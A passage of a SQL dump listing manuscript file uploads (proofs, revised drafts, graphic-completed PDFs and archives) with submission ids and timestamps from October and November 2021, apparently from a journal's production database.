08:42:04',1,3,0),(26578,8634,'8634-Manuscript-2021-10-12-rhvw-move-pdf-making.pdf',NULL,'2021-10-12 08:42:28',1,3,0),(26579,9650,'9650-Manuscript-2021-10-12-to28-move-pdf-making.pdf',NULL,'2021-10-12 08:43:58',1,3,0),(26580,9651,'9651-Manuscript-2021-10-12-qz26-move-pdf-making.pdf',NULL,'2021-10-12 08:44:26',1,3,0),(26581,9815,'9815-Manuscript-2021-10-12-o8fx-move-pdf-making.pdf',NULL,'2021-10-12 08:44:52',1,3,0),(26582,10200,'10200-Manuscript-2021-10-12-tf97-move-pdf-making.pdf',NULL,'2021-10-12 08:45:27',1,3,0),(26583,10322,'10322-Manuscript-2021-10-12-c7e1-move-pdf-making.pdf',NULL,'2021-10-12 08:45:56',1,3,0),(26584,10116,'10116-648-Manuscript-proof-submission-2021-10-12.zip',NULL,'2021-10-12 09:01:31',1,3,0),(26585,11073,'11073-0-Manuscript-2021-10-12.docx',NULL,'2021-10-12 09:12:28',1,1,0),(26599,10351,'10351-Manuscript-2021-10-12-ovea-graphic-completed.pdf',NULL,'2021-10-12 11:40:00',1,3,1),(26600,10144,'10144-Manuscript-2021-10-12-i7af-graphic-completed.pdf',NULL,'2021-10-12 11:40:16',1,3,1),(26611,11083,'11083-0-Manuscript-2021-10-12.pdf',NULL,'2021-10-12 14:20:07',1,1,0),(26612,11084,'11084-0-Manuscript-2021-10-12.docx',NULL,'2021-10-12 15:06:35',1,1,0),(26613,11085,'11085-0-Manuscript-2021-10-13.docx',NULL,'2021-10-12 19:30:07',1,1,0),(26622,10409,'10409-Manuscript-2021-10-13-10c9.pdf',NULL,'2021-10-13 04:51:57',1,3,0),(26623,11090,'11090-0-Manuscript-2021-10-13.docx',NULL,'2021-10-13 05:14:06',1,1,0),(26624,11091,'11091-0-Manuscript-2021-10-13.docx',NULL,'2021-10-13 05:15:38',1,1,0),(26627,10746,'10746-102-Manuscript-proof-submission-2021-10-13.docx',NULL,'2021-10-13 05:36:39',1,3,0),(26628,11025,'11025-1097-Manuscript-proof-submission-2021-10-13.docx',NULL,'2021-10-13 05:37:05',1,3,0),(26629,11030,'11030-1306-Manuscript-proof-submission-2021-10-13.docx',NULL,'2021-10-13 05:37:42',1,3,0),(26631,11092,'11092-0-Manuscript-2021-10-13.docx',NULL,'2021-10-13 05:47:31',1,1,0),(26633,10200,'10200-Manuscript-2021-10-13-9uaf-move-pdf-making.docx',NULL,'2021-10-13 06:21:10',1,3,0),(26635,10200,'10200-Manuscript-2021-10-13-r2fm-move-pdf-making.pdf',NULL,'2021-10-13 06:21:43',1,3,0),(26637,11093,'11093-0-Manuscript-2021-10-13.docx',NULL,'2021-10-13 07:28:57',1,1,0),(26643,9770,'9770-Manuscript-2021-10-13-1on2.pdf',NULL,'2021-10-13 09:10:36',1,3,0),(26645,10746,'10746-Manuscript-2021-10-13-9yow-ap-team-revised.docx',NULL,'2021-10-13 09:58:11',1,3,0),(26646,11025,'11025-Manuscript-2021-10-13-gc89-ap-team-revised.docx',NULL,'2021-10-13 09:58:35',1,3,0),(26647,11030,'11030-Manuscript-2021-10-13-fs63-ap-team-revised.docx',NULL,'2021-10-13 09:58:58',1,3,0),(26653,10838,'10838-529-Manuscript-proof-submission-2021-10-13.zip',NULL,'2021-10-13 10:10:10',1,3,0),(26662,11101,'11101-0-Manuscript-2021-10-14.pdf',NULL,'2021-10-14 03:37:41',1,1,0),(26666,10200,'10200-1699-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:08:31',1,3,0),(26667,10200,'10200-1939-Manuscript-proof-submission-2021-10-14.pdf',NULL,'2021-10-14 05:08:31',1,3,0),(26668,10200,'10200-1897-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:08:31',1,3,0),(26669,9944,'9944-1665-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:12:20',1,3,0),(26670,9944,'9944-1789-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:12:20',1,3,0),(26671,9944,'9944-1758-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:12:20',1,3,0),(26672,9944,'9944-1947-Manuscript-proof-submission-2021-10-14.docx',NULL,'2021-10-14 05:12:20',1,3,0),(26673,11104,'11104-0-Manuscript-2021-10-14.docx',NULL,'2021-10-14 05:28:04',1,1,0),(26699,11115,'11115-0-Manuscript-2021-10-15.docx',NULL,'2021-10-15 07:31:43',1,1,0),(26708,11120,'11120-0-Manuscript-2021-10-17.docx',NULL,'2021-10-16 20:53:12',1,1,0),(26709,11121,'11121-0-Manuscript-2021-10-17.docx',NULL,'2021-10-17 06:36:51',1,1,0),(26715,10597,'10597-1209-Manuscript-proof-submission-2021-10-18.docx',NULL,'2021-10-18 04:31:50',1,3,0),(26716,10597,'10597-381-Manuscript-proof-submission-2021-10-18.docx',NULL,'2021-10-18 04:31:50',1,3,0),(26727,11133,'11133-0-Manuscript-2021-10-18.docx',NULL,'2021-10-18 06:15:50',1,1,0),(26740,10838,'10838-Manuscript-2021-10-18-dj9z-ap-team-revised.rar',NULL,'2021-10-18 09:05:17',1,3,1),(26741,10173,'10173-355-Manuscript-proof-submission-2021-10-18.zip',NULL,'2021-10-18 09:14:28',1,3,0),(26745,11090,'11090-15-Manuscript-proof-submission-2021-10-18.docx',NULL,'2021-10-18 10:00:37',1,3,0),(26746,11091,'11091-360-Manuscript-proof-submission-2021-10-18.docx',NULL,'2021-10-18 10:01:21',1,3,0),(26750,10138,'10138-Manuscript-2021-10-18-fu8v-move-pdf-making.pdf',NULL,'2021-10-18 10:11:40',1,3,0),(26751,11090,'11090-Manuscript-2021-10-18-r3q6-ap-team-revised.docx',NULL,'2021-10-18 10:32:56',1,3,0),(26752,11091,'11091-Manuscript-2021-10-18-ihcs-ap-team-revised.docx',NULL,'2021-10-18 10:33:20',1,3,0),(26753,11144,'11144-0-Manuscript-2021-10-18.docx',NULL,'2021-10-18 10:52:46',1,1,0),(26758,10222,'10222-Manuscript-2021-10-18-0t3y.pdf',NULL,'2021-10-18 12:33:48',1,3,0),(26761,11148,'11148-0-Manuscript-2021-10-18.docx',NULL,'2021-10-18 12:58:03',1,1,0),(26768,11152,'11152-0-Manuscript-2021-10-19.docx',NULL,'2021-10-18 20:07:17',1,1,0),(26777,11158,'11158-0-Manuscript-2021-10-19.docx',NULL,'2021-10-19 08:10:46',1,1,0),(26778,10746,'10746-Manuscript-2021-10-19-5luz-graphic-completed.pdf',NULL,'2021-10-19 08:12:22',1,3,0),(26779,11025,'11025-Manuscript-2021-10-19-dn43-graphic-completed.pdf',NULL,'2021-10-19 08:18:10',1,3,0),(26780,11030,'11030-Manuscript-2021-10-19-xysj-graphic-completed.pdf',NULL,'2021-10-19 08:23:55',1,3,0),(26784,10882,'10882-1876-Manuscript-proof-submission-2021-10-19.docx',NULL,'2021-10-19 08:36:41',1,3,0),(26785,10763,'10763-118-Manuscript-proof-submission-2021-10-19.rar',NULL,'2021-10-19 08:42:02',1,3,1),(26787,8589,'8589-1804-Manuscript-proof-submission-2021-10-19.zip',NULL,'2021-10-19 08:48:02',1,3,0),(26794,10173,'10173-Manuscript-2021-10-19-915l-move-pdf-making.docx',NULL,'2021-10-19 09:08:22',1,3,0),(26795,10173,'10173-Manuscript-2021-10-19-g3oz-move-pdf-making.docx',NULL,'2021-10-19 09:08:40',1,3,0),(26796,10200,'10200-Manuscript-2021-10-19-h12q.pdf',NULL,'2021-10-19 09:14:06',1,3,0),(26810,10738,'10738-122-Manuscript-proof-submission-2021-10-19.zip',NULL,'2021-10-19 10:36:58',1,3,0),(26818,11030,'11030-Manuscript-2021-10-19-krf1.pdf',NULL,'2021-10-19 11:50:02',1,3,0),(26819,10746,'10746-Manuscript-2021-10-19-r6tq.pdf',NULL,'2021-10-19 11:50:33',1,3,0),(26821,11025,'11025-Manuscript-2021-10-19-1206.pdf',NULL,'2021-10-19 11:50:59',1,3,0),(26829,8589,'8589-Manuscript-2021-10-19-1uyr-ipaom-21-8589.rar',NULL,'2021-10-19 12:18:09',1,3,1),(26836,10738,'10738-Manuscript-2021-10-19-0lsv-ap-team-revised.rar',NULL,'2021-10-19 12:33:13',1,3,1),(26839,10138,'10138-Manuscript-2021-10-19-8bdx.pdf',NULL,'2021-10-19 13:05:41',1,3,0),(26846,11173,'11173-0-Manuscript-2021-10-20.docx',NULL,'2021-10-19 21:41:55',1,1,0),(26870,10173,'10173-Manuscript-2021-10-20-5uhw-rsuite-completed.pdf',NULL,'2021-10-20 07:02:56',1,3,0),(26902,11091,'11091-Manuscript-2021-10-20-v7jg-graphic-completed.pdf',NULL,'2021-10-20 09:49:15',1,3,0),(26903,11090,'11090-Manuscript-2021-10-20-6o5p-graphic-completed.pdf',NULL,'2021-10-20 09:52:54',1,3,0),(26905,10738,'10738-Manuscript-2021-10-20-solu-graphic-completed.pdf',NULL,'2021-10-20 10:06:28',1,3,0),(26913,8594,'8594-777-Manuscript-2021-10-20.docx',NULL,'2021-10-20 11:27:58',1,2,0),(26915,8594,'8594-942-Manuscript-proof-submission-2021-10-20.zip',NULL,'2021-10-20 11:32:47',1,3,0),(26937,11193,'11193-0-Manuscript-2021-10-20.docx',NULL,'2021-10-20 12:17:37',1,1,0),(26939,10865,'10865-762-Manuscript-proof-submission-2021-10-20.zip',NULL,'2021-10-20 12:24:37',1,3,0),(26948,8594,'8594-Manuscript-2021-10-21-m5o4-ipaom-21-8594.rar',NULL,'2021-10-21 04:33:52',1,3,1),(26950,11196,'11196-0-Manuscript-2021-10-21.docx',NULL,'2021-10-21 05:05:23',1,1,0),(26974,10746,'10746-Manuscript-2021-10-21-32wz-ap-ame-revised.pdf',NULL,'2021-10-21 07:56:00',1,3,0),(26975,11030,'11030-Manuscript-2021-10-21-hp0g-ap-ame-revised.pdf',NULL,'2021-10-21 07:56:38',1,3,0),(26976,11025,'11025-Manuscript-2021-10-21-u4ch-ap-ame-q2-accepted-file.pdf',NULL,'2021-10-21 07:57:01',1,3,0),(26993,10738,'10738-Manuscript-2021-10-21-khpb.pdf',NULL,'2021-10-21 09:21:34',1,3,1),(26994,10746,'10746-Manuscript-2021-10-21-w1l7.pdf',NULL,'2021-10-21 09:22:32',1,3,0),(26995,11030,'11030-Manuscript-2021-10-21-xcoz.pdf',NULL,'2021-10-21 09:23:19',1,3,0),(26996,11090,'11090-Manuscript-2021-10-21-5bek.pdf',NULL,'2021-10-21 09:24:06',1,3,0),(26997,11090,'11090-Manuscript-2021-10-21-6vf7.pdf',NULL,'2021-10-21 09:25:33',1,3,0),(26998,11091,'11091-Manuscript-2021-10-21-2sit.pdf',NULL,'2021-10-21 09:25:59',1,3,0),(27021,10799,'10799-711-Manuscript-proof-submission-2021-10-21.zip',NULL,'2021-10-21 12:21:23',1,3,0),(27038,10738,'10738-Manuscript-2021-10-22-dvhs-ap-ame-q2-accepted-file.pdf',NULL,'2021-10-22 04:32:58',1,3,1),(27039,10838,'10838-Manuscript-2021-10-22-40w2-graphic-completed.pdf',NULL,'2021-10-22 04:44:19',1,3,0),(27040,7145,'7145-Manuscript-2021-10-22-m8ac-graphic-completed.pdf',NULL,'2021-10-22 04:45:11',1,3,0),(27042,8589,'8589-Manuscript-2021-10-22-s4a5-graphic-completed.pdf',NULL,'2021-10-22 04:56:37',1,3,0),(27051,8594,'8594-Manuscript-2021-10-22-g0l9-graphic-completed.pdf',NULL,'2021-10-22 05:17:02',1,3,0),(27061,10588,'10588-1829-Manuscript-proof-submission-2021-10-22.docx',NULL,'2021-10-22 05:34:23',1,3,0),(27062,10588,'10588-357-Manuscript-proof-submission-2021-10-22.docx',NULL,'2021-10-22 05:34:23',1,3,0),(27063,10588,'10588-28-Manuscript-proof-submission-2021-10-22.docx',NULL,'2021-10-22 05:34:23',1,3,0),(27064,10588,'10588-1027-Manuscript-proof-submission-2021-10-22.docx',NULL,'2021-10-22 05:34:23',1,3,0),(27065,10588,'10588-511-Manuscript-proof-submission-2021-10-22.docx',NULL,'2021-10-22 05:34:23',1,3,0),(27091,10799,'10799-Manuscript-2021-10-22-zkw4-ap-team-revised.rar',NULL,'2021-10-22 08:24:04',1,3,1),(27111,8589,'8589-Manuscript-2021-10-22-6yt3.pdf',NULL,'2021-10-22 09:57:20',1,3,0),(27112,8594,'8594-Manuscript-2021-10-22-48nh.pdf',NULL,'2021-10-22 09:57:51',1,3,0),(27113,10838,'10838-Manuscript-2021-10-22-iape.pdf',NULL,'2021-10-22 09:58:23',1,3,0),(27135,11230,'11230-0-Manuscript-2021-10-22.docx',NULL,'2021-10-22 12:13:50',1,1,0),(27139,11232,'11232-0-Manuscript-2021-10-22.docx',NULL,'2021-10-22 12:15:50',1,1,0),(27145,11234,'11234-0-Manuscript-2021-10-23.docx',NULL,'2021-10-22 21:56:22',1,1,0),(27146,11234,'11234-1-Manuscript-2021-10-23.jpg',NULL,'2021-10-22 21:56:22',1,1,0),(27161,11238,'11238-0-Manuscript-2021-10-23.doc',NULL,'2021-10-23 05:02:17',1,1,0),(27205,10737,'10737-1294-Manuscript-proof-submission-2021-10-23.docx',NULL,'2021-10-23 07:22:18',1,3,0),(27218,11242,'11242-0-Manuscript-2021-10-23.docx',NULL,'2021-10-23 09:16:19',1,1,0),(27223,11246,'11246-0-Manuscript-2021-10-24.docx',NULL,'2021-10-24 15:25:59',1,1,0),(27269,10116,'10116-Manuscript-2021-10-25-f8d1-ipadm-21-10116.rar',NULL,'2021-10-25 07:45:01',1,3,1),(27270,10139,'10139-Manuscript-2021-10-25-4uvl-ipadm-21-10139.rar',NULL,'2021-10-25 07:46:26',1,3,1),(27271,10143,'10143-Manuscript-2021-10-25-40mk-ipadm-21-10143.rar',NULL,'2021-10-25 07:46:59',1,3,1),(27272,10143,'10143-Manuscript-2021-10-25-83wy-graphic-completed.pdf',NULL,'2021-10-25 07:56:58',1,3,0),(27273,10139,'10139-Manuscript-2021-10-25-ijsp-graphic-completed.pdf',NULL,'2021-10-25 07:57:33',1,3,0),(27274,10116,'10116-Manuscript-2021-10-25-zyut-graphic-completed.pdf',NULL,'2021-10-25 07:57:57',1,3,0),(27283,10116,'10116-Manuscript-2021-10-25-oz08.pdf',NULL,'2021-10-25 08:16:15',1,3,1),(27284,10139,'10139-Manuscript-2021-10-25-1gn5.pdf',NULL,'2021-10-25 08:16:51',1,3,1),(27285,10143,'10143-Manuscript-2021-10-25-hp2z.pdf',NULL,'2021-10-25 08:17:28',1,3,1),(27287,9639,'9639-Manuscript-2021-10-25-14zk-graphic-completed.pdf',NULL,'2021-10-25 08:51:14',1,3,0),(27290,11262,'11262-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 09:26:32',1,1,0),(27291,11263,'11263-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 09:33:25',1,1,0),(27292,11264,'11264-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 09:39:31',1,1,0),(27293,11265,'11265-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 09:45:40',1,1,0),(27294,8594,'8594-Manuscript-2021-10-25-rfeo-graphic-completed.pdf',NULL,'2021-10-25 09:53:15',1,3,0),(27295,8589,'8589-Manuscript-2021-10-25-cpkx-graphic-completed.pdf',NULL,'2021-10-25 09:54:03',1,3,0),(27297,10838,'10838-Manuscript-2021-10-25-39xz-graphic-completed.pdf',NULL,'2021-10-25 09:54:40',1,3,0),(27300,8589,'8589-Manuscript-2021-10-25-2puj.pdf',NULL,'2021-10-25 10:44:15',1,3,0),(27303,8594,'8594-Manuscript-2021-10-25-sla2.pdf',NULL,'2021-10-25 10:44:48',1,3,0),(27304,10838,'10838-Manuscript-2021-10-25-x405.pdf',NULL,'2021-10-25 10:45:19',1,3,0),(27309,10979,'10979-1139-Manuscript-proof-submission-2021-10-25.rar',NULL,'2021-10-25 11:26:14',1,3,0),(27312,10116,'10116-534-Manuscript-proof-submission-2021-10-25.zip',NULL,'2021-10-25 11:33:54',1,3,0),(27313,10139,'10139-1174-Manuscript-proof-submission-2021-10-25.zip',NULL,'2021-10-25 11:34:25',1,3,0),(27314,10143,'10143-926-Manuscript-proof-submission-2021-10-25.zip',NULL,'2021-10-25 11:35:01',1,3,0),(27334,11269,'11269-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 14:23:55',1,1,0),(27335,11270,'11270-0-Manuscript-2021-10-25.docx',NULL,'2021-10-25 16:24:53',1,1,0),(27341,10714,'10714-1042-Manuscript-proof-submission-2021-10-26.zip',NULL,'2021-10-26 04:06:15',1,3,0),(27343,11038,'11038-437-Manuscript-proof-submission-2021-10-26.rar',NULL,'2021-10-26 04:25:16',1,3,0),(27358,11008,'11008-308-Manuscript-proof-submission-2021-10-26.docx',NULL,'2021-10-26 05:22:22',1,3,0),(27359,11008,'11008-803-Manuscript-proof-submission-2021-10-26.pdf',NULL,'2021-10-26 05:22:22',1,3,0),(27360,11008,'11008-1136-Manuscript-proof-submission-2021-10-26.docx',NULL,'2021-10-26 05:22:22',1,3,0),(27362,10815,'10815-1815-Manuscript-proof-submission-2021-10-26.rar',NULL,'2021-10-26 05:33:11',1,3,0),(27368,10816,'10816-1678-Manuscript-proof-submission-2021-10-26.rar',NULL,'2021-10-26 06:22:10',1,3,0),(27371,10714,'10714-1205-Manuscript-proof-submission-2021-10-26.zip',NULL,'2021-10-26 07:25:23',1,3,0),(27390,11279,'11279-0-Manuscript-2021-10-26.docx',NULL,'2021-10-26 09:58:34',1,1,0),(27391,11280,'11280-0-Manuscript-2021-10-26.docx',NULL,'2021-10-26 10:00:31',1,1,0),(27392,11281,'11281-0-Manuscript-2021-10-26.docx',NULL,'2021-10-26 10:00:32',1,1,0),(27394,11283,'11283-0-Manuscript-2021-10-26.docx',NULL,'2021-10-26 10:02:37',1,1,0),(27395,9639,'9639-Manuscript-2021-10-26-hmnr.pdf',NULL,'2021-10-26 10:17:25',1,3,1),(27446,11294,'11294-0-Manuscript-2021-10-26.docx',NULL,'2021-10-26 17:54:25',1,1,0),(27453,11297,'11297-0-Manuscript-2021-10-27.docx',NULL,'2021-10-27 04:24:16',1,1,0),(27520,11038,'11038-Manuscript-2021-10-27-l5io-ap-team-revised.docx',NULL,'2021-10-27 09:31:41',1,3,0),(27521,10979,'10979-Manuscript-2021-10-27-yip6-ap-team-revised.rar',NULL,'2021-10-27 09:40:05',1,3,1),(27524,10763,'10763-Manuscript-2021-10-27-vqgb-move-pdf-making.docx',NULL,'2021-10-27 09:56:01',1,3,0),(27526,10763,'10763-Manuscript-2021-10-27-y2pt-move-pdf-making.pdf',NULL,'2021-10-27 09:56:38',1,3,0),(27527,10816,'10816-Manuscript-2021-10-27-qjo4-ap-team-revised.rar',NULL,'2021-10-27 09:58:34',1,3,1),(27528,10882,'10882-Manuscript-2021-10-27-h7u3-move-pdf-making.docx',NULL,'2021-10-27 09:58:57',1,3,0),(27529,10882,'10882-Manuscript-2021-10-27-zpkt-move-pdf-making.pdf',NULL,'2021-10-27 09:59:20',1,3,0),(27531,10737,'10737-Manuscript-2021-10-27-p2n9-move-pdf-making.docx',NULL,'2021-10-27 10:01:46',1,3,0),(27532,10737,'10737-Manuscript-2021-10-27-bfj1-move-pdf-making.pdf',NULL,'2021-10-27 10:02:09',1,3,0),(27534,10815,'10815-Manuscript-2021-10-27-wgno-ap-team-revised.rar',NULL,'2021-10-27 10:10:35',1,3,1),(27551,10763,'10763-Manuscript-2021-10-27-5f6q-graphic-completed.pdf',NULL,'2021-10-27 11:56:31',1,3,1),(27555,11307,'11307-0-Manuscript-2021-10-27.docx',NULL,'2021-10-27 14:29:59',1,1,0),(27559,11311,'11311-0-Manuscript-2021-10-28.docx',NULL,'2021-10-28 00:55:56',1,1,0),(27561,11313,'11313-0-Manuscript-2021-10-28.docx',NULL,'2021-10-28 03:55:18',1,1,0),(27572,10526,'10526-1891-Manuscript-proof-submission-2021-10-28.docx',NULL,'2021-10-28 04:56:20',1,3,0),(27573,10526,'10526-271-Manuscript-proof-submission-2021-10-28.pdf',NULL,'2021-10-28 04:56:20',1,3,0),(27574,10526,'10526-48-Manuscript-proof-submission-2021-10-28.docx',NULL,'2021-10-28 04:56:20',1,3,0),(27593,11320,'11320-0-Manuscript-2021-10-28.docx',NULL,'2021-10-28 07:30:02',1,1,0),(27595,10409,'10409-Manuscript-2021-10-28-gvmb-graphic-completed.pdf',NULL,'2021-10-28 08:26:51',1,3,0),(27601,10979,'10979-Manuscript-2021-10-28-aiql-graphic-completed.pdf',NULL,'2021-10-28 08:55:15',1,3,1),(27610,10816,'10816-Manuscript-2021-10-28-7bom-graphic-completed.pdf',NULL,'2021-10-28 09:21:56',1,3,1),(27613,10815,'10815-Manuscript-2021-10-28-tceh-graphic-completed.pdf',NULL,'2021-10-28 09:30:21',1,3,1),(27633,11038,'11038-Manuscript-2021-10-28-1joq-ap-ame-revised.docx',NULL,'2021-10-28 11:33:24',1,3,0),(27649,11323,'11323-0-Manuscript-2021-10-29.docx',NULL,'2021-10-28 18:34:02',1,1,0),(27659,11083,'11083-1987-Manuscript-proof-submission-2021-10-29.rar',NULL,'2021-10-29 06:31:26',1,3,0),(27669,11327,'11327-0-Manuscript-2021-10-29.docx',NULL,'2021-10-29 08:21:10',1,1,0),(27670,11328,'11328-0-Manuscript-2021-10-29.docx',NULL,'2021-10-29 08:23:13',1,1,0),(27681,10822,'10822-956-Manuscript-proof-submission-2021-10-29.zip',NULL,'2021-10-29 09:20:13',1,3,0),(27712,11337,'11337-0-Manuscript-2021-10-30.docx',NULL,'2021-10-29 23:26:34',1,1,0),(27728,10822,'10822-Manuscript-2021-10-30-tcz0-ipjnn-21-10822.rar',NULL,'2021-10-30 04:29:54',1,3,1),(27753,10714,'10714-Manuscript-2021-10-30-ramt-move-pdf-making.docx',NULL,'2021-10-30 06:22:03',1,3,0),(27765,10799,'10799-Manuscript-2021-10-30-2sli-graphic-completed.pdf',NULL,'2021-10-30 07:34:07',1,3,0),(27770,10799,'10799-Manuscript-2021-11-01-auyl.pdf',NULL,'2021-11-01 04:08:10',1,3,0),(27777,8239,'8239-Manuscript-2021-11-01-6kwt-iptb-21-8239.docx',NULL,'2021-11-01 05:36:30',1,3,0),(27778,11030,'11030-Manuscript-2021-11-01-tlmn-ap-ame-revised.pdf',NULL,'2021-11-01 05:39:52',1,3,0),(27779,11090,'11090-Manuscript-2021-11-01-uc1o-ap-ame-revised.pdf',NULL,'2021-11-01 05:41:49',1,3,0),(27788,11030,'11030-Manuscript-2021-11-01-j2ai.pdf',NULL,'2021-11-01 06:29:49',1,3,0),(27789,11090,'11090-Manuscript-2021-11-01-gfzn.pdf',NULL,'2021-11-01 06:30:16',1,3,0),(27798,10822,'10822-Manuscript-2021-11-01-nywf-graphic-completed.pdf',NULL,'2021-11-01 09:39:38',1,3,0),(27801,10822,'10822-Manuscript-2021-11-01-shw2.pdf',NULL,'2021-11-01 10:19:03',1,3,0),(27815,11354,'11354-0-Manuscript-2021-11-01.docx',NULL,'2021-11-01 11:42:45',1,1,0),(27816,11354,'11354-1-Manuscript-2021-11-01.docx',NULL,'2021-11-01 11:42:46',1,1,0),(27817,11354,'11354-2-Manuscript-2021-11-01.pdf',NULL,'2021-11-01 11:42:46',1,1,0),(27818,11354,'11354-3-Manuscript-2021-11-01.docx',NULL,'2021-11-01 11:42:46',1,1,0),(27829,10265,'10265-Manuscript-2021-11-01-n9bu-iptb-21-10265.rar',NULL,'2021-11-01 12:54:51',1,3,0),(27842,11038,'11038-Manuscript-2021-11-02-0ug4-iphsj-21-11038.rar',NULL,'2021-11-02 05:54:20',1,3,1),(27846,11083,'11083-Manuscript-2021-11-02-l6gq-iphsj-21-11083.rar',NULL,'2021-11-02 06:03:16',1,3,1),(27916,11390,'11390-0-Manuscript-2021-11-02.docx',NULL,'2021-11-02 11:36:38',1,1,0),(27922,11391,'11391-0-Manuscript-2021-11-02.docx',NULL,'2021-11-02 11:39:15',1,1,0),(27923,11392,'11392-0-Manuscript-2021-11-02.docx',NULL,'2021-11-02 11:40:33',1,1,0),(27924,11393,'11393-0-Manuscript-2021-11-02.docx',NULL,'2021-11-02 11:41:42',1,1,0),(27925,11394,'11394-0-Manuscript-2021-11-02.docx',NULL,'2021-11-02 11:43:00',1,1,0),(27926,11083,'11083-Manuscript-2021-11-02-sgky-graphic-completed.pdf',NULL,'2021-11-02 11:48:31',1,3,1),(27927,11038,'11038-Manuscript-2021-11-02-luj8-graphic-completed.pdf',NULL,'2021-11-02 11:48:46',1,3,1),(27936,11144,'11144-979-Manuscript-proof-submission-2021-11-02.docx',NULL,'2021-11-02 12:09:27',1,3,0),(27941,10342,'10342-549-Manuscript-proof-submission-2021-11-02.rar',NULL,'2021-11-02 13:37:58',1,3,1),(27954,11403,'11403-0-Manuscript-2021-11-03.docx',NULL,'2021-11-03 06:09:58',1,1,0),(27956,9538,'9538-Manuscript-2021-11-03-19ky-iptb-21-9538.docx',NULL,'2021-11-03 06:39:45',1,3,0),(27964,10173,'10173-Manuscript-2021-11-03-hg5d.pdf',NULL,'2021-11-03 07:42:31',1,3,0),(27965,10714,'10714-Manuscript-2021-11-03-iu01-move-pdf-making.docx',NULL,'2021-11-03 07:49:59',1,3,0),(27966,10714,'10714-Manuscript-2021-11-03-vewu-move-pdf-making.docx',NULL,'2021-11-03 07:50:50',1,3,0),(27968,10173,'10173-Manuscript-2021-11-03-h608-move-pdf-making.pdf',NULL,'2021-11-03 08:03:50',1,3,0),(28020,11432,'11432-0-Manuscript-2021-11-05.docx',NULL,'2021-11-04 20:27:36',1,1,0),(28021,11432,'11432-1-Manuscript-2021-11-05.docx',NULL,'2021-11-04 20:27:36',1,1,0),(28032,10714,'10714-Manuscript-2021-11-05-iqxw-rsuite-completed.pdf',NULL,'2021-11-05 06:42:40',1,3,0),(28034,8239,'8239-Manuscript-2021-11-05-jh4i-rsuite-completed.docx',NULL,'2021-11-05 07:06:52',1,3,0),(28035,11439,'11439-0-Manuscript-2021-11-05.docx',NULL,'2021-11-05 08:11:14',1,1,0),(28036,8239,'8239-Manuscript-2021-11-05-uenr-rsuite-completed.pdf',NULL,'2021-11-05 08:12:13',1,3,0),(28037,9538,'9538-Manuscript-2021-11-05-nslj-rsuite-completed.docx',NULL,'2021-11-05 08:21:47',1,3,0),(28038,9538,'9538-Manuscript-2021-11-05-jdry-rsuite-completed.pdf',NULL,'2021-11-05 08:22:18',1,3,0),(28039,11440,'11440-0-Manuscript-2021-11-05.docx',NULL,'2021-11-05 08:37:24',1,1,0),(28040,11440,'11440-1-Manuscript-2021-11-05.doc',NULL,'2021-11-05 08:37:24',1,1,0),(28051,11008,'11008-Manuscript-2021-11-05-nsiz-iphspr-21-11008.docx',NULL,'2021-11-05 09:49:38',1,3,0),(28052,10588,'10588-Manuscript-2021-11-05-dyse-iphspr-21-10588.rar',NULL,'2021-11-05 09:52:28',1,3,0),(28053,10526,'10526-Manuscript-2021-11-05-o9ne-iphspr-21-10526.docx',NULL,'2021-11-05 09:54:29',1,3,0),(28054,9944,'9944-Manuscript-2021-11-05-im03-iphspr-21-9944.rar',NULL,'2021-11-05 09:56:41',1,3,0),(28055,8634,'8634-Manuscript-2021-11-05-8jy7.pdf',NULL,'2021-11-05 10:01:49',1,3,0),(28057,11443,'11443-0-Manuscript-2021-11-05.odt',NULL,'2021-11-05 11:07:36',1,1,0),(28059,10342,'10342-Manuscript-2021-11-05-wb3p-ipadm-21-10342.zip',NULL,'2021-11-05 11:41:49',1,3,1),(28060,10342,'10342-Manuscript-2021-11-05-sp3d-move-pdf-making.pdf',NULL,'2021-11-05 11:43:14',1,3,1),(28061,10342,'10342-Manuscript-2021-11-05-lbhv-graphic-completed.pdf',NULL,'2021-11-05 11:44:43',1,3,0),(28062,10265,'10265-Manuscript-2021-11-05-9lc4-move-pdf-making.docx',NULL,'2021-11-05 11:51:23',1,3,0),(28063,10265,'10265-Manuscript-2021-11-05-9ag8-move-pdf-making.docx',NULL,'2021-11-05 11:56:36',1,3,0),(28064,10342,'10342-Manuscript-2021-11-05-syca.pdf',NULL,'2021-11-05 12:00:13',1,3,0),(28066,10265,'10265-Manuscript-2021-11-05-psye-rsuite-completed.pdf',NULL,'2021-11-05 12:29:20',1,3,0),(28068,11447,'11447-0-Manuscript-2021-11-05.docx',NULL,'2021-11-05 17:21:06',1,1,0),(28083,10371,'10371-Manuscript-2021-11-06-leij-iphspr-21-10371.rar',NULL,'2021-11-06 04:48:15',1,3,0),(28084,10173,'10173-Manuscript-2021-11-06-02fh.pdf',NULL,'2021-11-06 04:51:45',1,3,0),(28088,10597,'10597-Manuscript-2021-11-06-14g0-ipacm-21-10597.rar',NULL,'2021-11-06 04:56:00',1,3,0),(28094,9134,'9134-1966-Manuscript-proof-submission-2021-11-06.docx',NULL,'2021-11-06 05:29:09',1,3,0),(28095,10597,'10597-Manuscript-2021-11-06-octv-graphic-completed.pdf',NULL,'2021-11-06 05:29:32',1,3,0),(28107,10714,'10714-Manuscript-2021-11-06-b7xa.pdf',NULL,'2021-11-06 06:07:48',1,3,0),(28108,10714,'10714-Manuscript-2021-11-06-0qm6.pdf',NULL,'2021-11-06 06:10:03',1,3,0),(28125,8441,'8441-Manuscript-2021-11-06-gi4e.pdf',NULL,'2021-11-06 06:35:37',1,3,0),(28133,11450,'11450-0-Manuscript-2021-11-06.docx',NULL,'2021-11-06 07:25:45',1,1,0),(28134,11451,'11451-0-Manuscript-2021-11-06.docx',NULL,'2021-11-06 11:30:15',1,1,0),(28135,11451,'11451-1-Manuscript-2021-11-06.docx',NULL,'2021-11-06 11:30:15',1,1,0),(28137,11453,'11453-0-Manuscript-2021-11-07.docx',NULL,'2021-11-06 